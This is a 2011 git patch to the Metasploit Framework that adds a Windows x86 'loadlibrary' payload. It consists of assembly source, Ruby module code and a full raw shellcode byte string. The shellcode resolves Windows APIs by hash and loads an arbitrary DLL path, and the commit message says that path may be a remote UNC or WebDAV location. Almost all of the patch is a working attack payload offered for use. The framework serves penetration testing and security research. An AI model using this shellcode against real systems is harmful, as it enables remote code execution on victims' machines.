From 3e0f3639efed17d72f344dd03278a9f1fe678401 Mon Sep 17 00:00:00 2001
From: HD Moore <hd_moore@rapid7.com>
Date: Mon, 30 May 2011 03:44:59 +0000
Subject: [PATCH] This adds a quick windows/loadlibrary payload for folks who
 have a need for such things. The library path can be a UNC location and works
 fine over WebDAV...

git-svn-id: file:///home/svn/framework3/trunk@12765 4d416f70-5f16-0410-b530-b9f4589650da
---
 .../x86/src/single/single_loadlibrary.asm     | 25 ++++++
 lib/msf/core/payload/windows/loadlibrary.rb   | 77 +++++++++++++++++++
 .../payloads/singles/windows/loadlibrary.rb   | 24 ++++++
 3 files changed, 126 insertions(+)
 create mode 100755 external/source/shellcode/windows/x86/src/single/single_loadlibrary.asm
 create mode 100644 lib/msf/core/payload/windows/loadlibrary.rb
 create mode 100644 modules/payloads/singles/windows/loadlibrary.rb

diff --git a/external/source/shellcode/windows/x86/src/single/single_loadlibrary.asm b/external/source/shellcode/windows/x86/src/single/single_loadlibrary.asm
new file mode 100755
index 0000000000..6e291154d9
--- /dev/null
+++ b/external/source/shellcode/windows/x86/src/single/single_loadlibrary.asm
@@ -0,0 +1,25 @@
+;-----------------------------------------------------------------------------;
+; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
+; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
+; Version: 1.0 (28 July 2009)
+; Size: 189 bytes + strlen(libpath) + 1
+; Build: >build.py single_loadlibrary
+;-----------------------------------------------------------------------------;
+
+[BITS 32]
+[ORG 0]
+
+  cld                    ; Clear the direction flag.
+  call start             ; Call start, this pushes the address of 'api_call' onto the stack.
+delta:                   ;
+%include "./src/block/block_api.asm" ; 
+start:                   ;
+  pop ebp                ; Pop off the address of 'api_call' for calling later.
+  lea eax, [ebp+libpath-delta]
+  push eax               ;
+  push 0x0726774C        ; hash( "kernel32.dll", "LoadLibraryA" )
+  call ebp               ; LoadLibraryA( &libpath );
+	; Finish up with the EXITFUNK.
+%include "./src/block/block_exitfunk.asm"
+libpath:
+  ;db "funkystuff.dll", 0
diff --git a/lib/msf/core/payload/windows/loadlibrary.rb b/lib/msf/core/payload/windows/loadlibrary.rb
new file mode 100644
index 0000000000..340a22ae5d
--- /dev/null
+++ b/lib/msf/core/payload/windows/loadlibrary.rb
@@ -0,0 +1,77 @@
+##
+# $Id$
+##
+
+module Msf
+
+###
+#
+# Common loadlibrary implementation for Windows.
+#
+###
+
+module Payload::Windows::LoadLibrary
+
+	include Msf::Payload::Windows
+	include Msf::Payload::Single
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'          => 'Windows LoadLibrary Path',
+			'Version'       => '$Revision$',
+			'Description'   => 'Load an arbitrary library path',
+			'Author'        => [ 'sf', 'hdm' ],
+			'License'       => MSF_LICENSE,
+			'Platform'      => 'win',
+			'Arch'          => ARCH_X86,
+			'PayloadCompat' =>
+				{
+					'Convention' => '-passivex -https',
+				},
+			'Payload'       =>
+				{
+					'Offsets' =>
+						{
+							'EXITFUNC' => [ 159, 'V' ]
+						},
+					'Payload' =>
+						"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
+						"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
+						"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
+						"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
+						"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
+						"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
+						"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
+						"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
+						"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
+						"\x8D\x85\xB7\x00\x00\x00\x50\x68\x4C\x77\x26\x07\xFF\xD5\xBB\xE0" +
+						"\x1D\x2A\x0A\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB" +
+						"\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x53\xFF\xD5"
+				}
+			))
+
+		# Register command execution options
+		register_options(
+			[
+				OptString.new('DLL', [ true, "The library path to load (UNC is OK)" ]),
+			], self.class)
+	end
+
+	#
+	# Constructs the payload
+	#
+	def generate
+		return super + dll_string + "\x00"
+	end
+
+	#
+	# Returns the command string to use for execution
+	#
+	def dll_string
+		return datastore['DLL'] || ''
+	end
+
+end
+
+end
+
diff --git a/modules/payloads/singles/windows/loadlibrary.rb b/modules/payloads/singles/windows/loadlibrary.rb
new file mode 100644
index 0000000000..7240378021
--- /dev/null
+++ b/modules/payloads/singles/windows/loadlibrary.rb
@@ -0,0 +1,24 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+require 'msf/core/payload/windows/loadlibrary'
+
+###
+#
+# Executes a command on the target machine
+#
+###
+module Metasploit3
+
+	include Msf::Payload::Windows::LoadLibrary
+
+end